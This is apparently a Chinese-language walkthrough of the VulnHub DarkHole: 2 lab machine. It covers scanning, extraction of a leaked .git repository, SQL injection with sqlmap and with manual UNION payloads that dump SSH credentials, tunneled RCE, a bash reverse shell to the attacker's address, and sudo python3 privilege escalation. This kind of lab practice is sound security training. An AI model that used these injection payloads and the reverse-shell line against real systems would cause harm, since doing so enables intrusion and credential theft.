信息收集
靶机下载地址为:vulnhub-DARKHOLE: 2
今日 的靶机漏洞练习
kali :100.100.100.131/24
靶机:100.100.100.132/24
依旧使用nmap神器对局域网主机开放服务端口进行扫描,瞅瞅有没有可以利用端口
nmap -v -T4 -sC -sV -p- 100.100.100.0/24
发现有100.100.100.132 主机有wbe页面
这个应该就此此次的目标了,对它单独的扫描一次,收集更多信息
发现开放22端口和80端口,即对应的远程连接服务和web应用服务
emmm,别说做的还挺好看,等我打穿了我要给他扒下来
为了发现更多有用的信息有用的信息和文件 使用dirb/dirtsearch/蚁剑等目录爆破工具 对目录进行爆破
我个人比较喜欢dirseach工具的,非常好用,字典到位了就没有扫不出来的
发现有git文件
下载githack
git clone https://github.com/lijiejie/GitHack.git
GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码
python GitHack.py http://100.100.100.132/.git
将git敏感文件下载到本地
对下载后对login.php文件进行代码审计发现账号密码
用git log 命令查看修改记录
从 git 日志中,作者在第二次提交时添加了默认凭据
git checkout commit #切换git提交
然后就出现一丢丢小意外了。思路卡住了,参考其他大佬打文章发现 /.git 源码泄露的利用方式,如果采用GitHack的话,在某些情况下会不太实用。悲剧了,那就换个方式
wget -r http://100.100.100.132/.git #下载git源码
然后那个提交的文件就出现了
小意外又来了
。。。
他喵的,秉着不会就搜的原则,参考大佬博客也无果,(记一次,稍后解决)
先借鉴大哥们复原的git文件的账号密码继续干
漏洞挖掘
在网页中发现来一个怀疑是注入点的注入点 😃
?id=1 这波盲猜是个sql注入
在仪表板 URL 上,我们看到一个 GET 参数“id”。当我们改变它的值时,我们也可以观察到页面的变化。
ip/dashboard.php?id=NULL
这些值会消失,因为当然不会有 ID 为 null 的用户。
我一使用撇号,我们就会看到一个空白页,提示错误。这进一步暗示了 SQL 注入的可能性。
利用cookie进行注入爆破当前数据库
sqlmap -u "http://100.100.100.132 /dashboard.php?id=1" --cookie PHPSESSID=8nui5so192cjagnvn30c7em5mi --current-db
获取数据库darkhole_2的表名
sqlmap -u "http://100.100.100.132/dashboard.php?id=1" --cookie PHPSESSID=8nui5so192cjagnvn30c7em5mi -D darkhole_2 --tables --batch
获取敏感信息
sqlmap -u "http://100.100.100.132/dashboard.php?id=1" --cookie PHPSESSID=8nui5so192cjagnvn30c7em5mi -D darkhole_2 -T ssh -dump
既然拿到登录用户的账号密码,那可以使用ssh进行登录
ssh jehad@100.100.100.132
查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
查看定时任务
cat /etc/crotab
在这里,我们可以看到一个 web 服务器运行在 9999 端口。当我们看到源代码的内容时,我们看到这允许远程命令执行。
使用 SSH 隧道连接端口 9999
ssh -L 9999:127.0.0.1:9999 jehad@100.100.100.132
然后,访问 127.0.0.1:9999 进行 RCE。
现在,我们可以在用户有损时获得一个反向 shell。为此,我正在侦听端口 9001。
nc -nlvp 9001
下面的payload会给我一个反向shell。
bash -c 'bash -i >& /dev/tcp/100.100.100.131/9001 0>&1'
接下来,我必须以 URL 编码格式对其进行编码。
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F100.100.100.131%2F9001%200%3E%261%27
成功回显并反弹一个外壳
根权限提升
查看该用户的bash历史
发现了密码,利用获取的密码进行登录
查看该用户可运行的用户权限,发现一个大宝贝python3。噢,度娘一个pyrthon提权,走起
查看该靶机的flag
flag: DarkHole{'Legend'}
港港丹丹拉~~~~ 回头搞git泄露去ji
补手注:
使用 ORDER BY 来确定回显注入位。
id=1' ORDER BY 5 -- -
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- -
第7列报错说明可能只有六位
?id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -
查询当前数据库
?id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -
再数据库中查询数据表
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -
查询数据表的列名
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -
查询用户名
id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -
总结
此次靶机练习发现个人对。git泄露相关知识和python提权手法有些遗忘,不熟练,偷懒使用了sqlmap对账户进行注入,后续补上手注命令,涉及到了相对简单的sql注入漏洞、git源码泄露、代码执行漏洞、与root权限python3提权,靶机相对简单,适合联手,如信息收集不到位(咳咳,我的git文件切换失败,未能拿到账户密码),可能就无法继续渗透,提权信息收集也比较重要,如定时任务查看、端口发现、sudo权限等等,再接再厉,搞起